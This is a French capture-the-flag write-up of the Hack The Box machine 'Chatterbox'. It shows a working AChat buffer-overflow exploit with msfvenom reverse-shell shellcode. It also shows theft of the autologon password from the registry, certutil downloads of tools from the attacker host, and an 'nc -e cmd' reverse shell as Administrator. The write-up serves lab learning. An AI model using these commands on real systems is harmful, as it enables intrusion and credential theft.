# Chatterbox `AChat` `autologon` * Nom machine : Chatterbox * Difficulté : Moyenne * OS : Windows ## Enumération ### NMAP ``` PORT STATE SERVICE REASON VERSION 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 445/tcp open microsoft-ds syn-ack Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 9255/tcp open http syn-ack AChat chat system httpd | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title. |_http-server-header: AChat |_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE 9256/tcp open achat syn-ack AChat chat system 49152/tcp open msrpc syn-ack Microsoft Windows RPC 49153/tcp open msrpc syn-ack Microsoft Windows RPC 49154/tcp open msrpc syn-ack Microsoft Windows RPC 49155/tcp open msrpc syn-ack Microsoft Windows RPC 49156/tcp open msrpc syn-ack Microsoft Windows RPC 49157/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows ``` ## Accès initial ### AChat chat system {% embed url="" %} ``` ┌──(kali㉿kali)-[~/htb/chat] └─$ git clone https://github.com/mpgn/AChat-Reverse-TCP-Exploit.git Cloning into 'AChat-Reverse-TCP-Exploit'... remote: Enumerating objects: 24, done. remote: Total 24 (delta 0), reused 0 (delta 0), pack-reused 24 (from 1) Receiving objects: 100% (24/24), 7.78 KiB | 7.78 MiB/s, done. Resolving deltas: 100% (9/9), done. ┌──(kali㉿kali)-[~/htb/chat] └─$ ls AChat-Reverse-TCP-Exploit ┌──(kali㉿kali)-[~/htb/chat] └─$ cd AChat-Reverse-TCP-Exploit ┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit] └─$ ls AChat_Exploit.py AChat_Payload.sh README.md ``` Nous allons tout d'abord créer notre charge utile grâce au script bash. Le script utilise meterpreter. ``` ┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit] └─$ ./AChat_Payload.sh RHOST: 10.10.10.74 LHOST: 10.10.14.12 LPORT: 135 Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/unicode_mixed x86/unicode_mixed succeeded with size 876 (iteration=0) x86/unicode_mixed chosen with final size 876 Payload size: 876 bytes Final size of python file: 4318 bytes buf = b"" buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41" buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51" buf += b"\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59" buf += b"\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68" {...} ``` Nous pouvons maintenant modifier le script python puis l'exécuter. Attention à également modifier "server\_adress" pour y ajouter celle de la cible. Nous avons lancer un listeneur msfconsole mais sans résultat. Nous avons donc changé le payload ... ``` ┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit] └─$ msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.14.12 LPORT=4444 exitfunc=thread -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/unicode_mixed x86/unicode_mixed succeeded with size 774 (iteration=0) x86/unicode_mixed chosen with final size 774 Payload size: 774 bytes Final size of python file: 3822 bytes buf = b"" buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41" buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" {...} ``` ``` ┌──(kali㉿kali)-[~/htb/chat/AChat-Reverse-TCP-Exploit] └─$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.74] 49202 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami whoami chatterbox\alfred ``` ## Elévation des privilèges Nous pouvons retrouver le mot de passe du compte administrator. ``` C:\>REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon DefaultPassword REG_SZ Welcome1! {...} ``` Nous allons utiliser runas.exe et nc.exe (version 32 bits). Il faut dans un premier temps les télécharger sur la cible. ``` C:\Users\Alfred\Desktop>certutil -f -urlcache http://10.10.14.12:8080/Tools/RunasCs.exe runas.exe certutil -f -urlcache http://10.10.14.12:8080/Tools/RunasCs.exe runas.exe **** Online **** CertUtil: -URLCache command completed successfully. C:\Users\Alfred\Desktop>certutil -f -urlcache http://10.10.14.12:8080/Tools/nc32.exe nc32.exe certutil -f -urlcache http://10.10.14.12:8080/Tools/nc32.exe nc32.exe **** Online **** CertUtil: -URLCache command completed successfully. C:\Users\Alfred\Desktop>runas.exe Administrator Welcome1! "nc32.exe 10.10.14.12 4446 -e cmd" runas.exe Administrator Welcome1! "nc32.exe 10.10.14.12 4446 -e cmd" ``` ``` ┌──(kali㉿kali)-[~] └─$ nc -lnvp 4446 listening on [any] 4446 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.74] 49171 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami chatterbox\administrator ``` Nous sommes administrator !